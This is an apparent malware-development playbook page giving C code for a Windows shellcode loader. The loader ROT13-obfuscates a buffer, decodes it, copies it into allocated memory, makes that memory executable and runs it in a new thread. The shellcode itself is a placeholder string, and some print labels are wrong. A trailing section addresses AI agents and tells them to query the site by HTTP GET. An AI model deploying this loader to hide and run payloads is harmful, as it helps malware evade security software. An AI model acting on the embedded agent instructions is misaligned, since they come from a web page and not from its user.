# Caesar Cipher (ROT 13) Encrypt Shellcode

Adding and subtracting a constant integer ascii value from each of the characters in the shellcode is Ceasar cipher.&#x20;

```
#include<stdio.h>
#include<windows.h>

void rot13_encrypt(char* shellcode, int len)
{
	int i=0;
	for (i = 0; i < len; i++)
	{
		shellcode[i] = shellcode[i] + 13;
	}
}

void rot13_decrypt(char* shellcode, int len)
{
	int i=0;
	for (i = 0; i < len; i++)
	{
		shellcode[i] = shellcode[i] - 13;
	}
}

void main()
{
	PVOID exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
    
	const char shellcode[] = "abcdefghijklmnopqrstuvwxyz";
	int len = sizeof shellcode;
	
	rot13_encrypt((char *)shellcode, len);
	printf("ROT 13 encrypted code: %s\n", shellcode);
	
	exec_mem = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	rot13_decrypt((char *) shellcode, len);
	printf("ROT 13 encrypted code: %s\n", shellcode);

	RtlMoveMemory(exec_mem, shellcode, sizeof shellcode);
	
	rv = VirtualProtect(exec_mem, sizeof shellcode, PAGE_EXECUTE_READ, &oldprotect);
	
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/malware-dev/caesar-cipher-rot-13-encrypt-shellcode.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
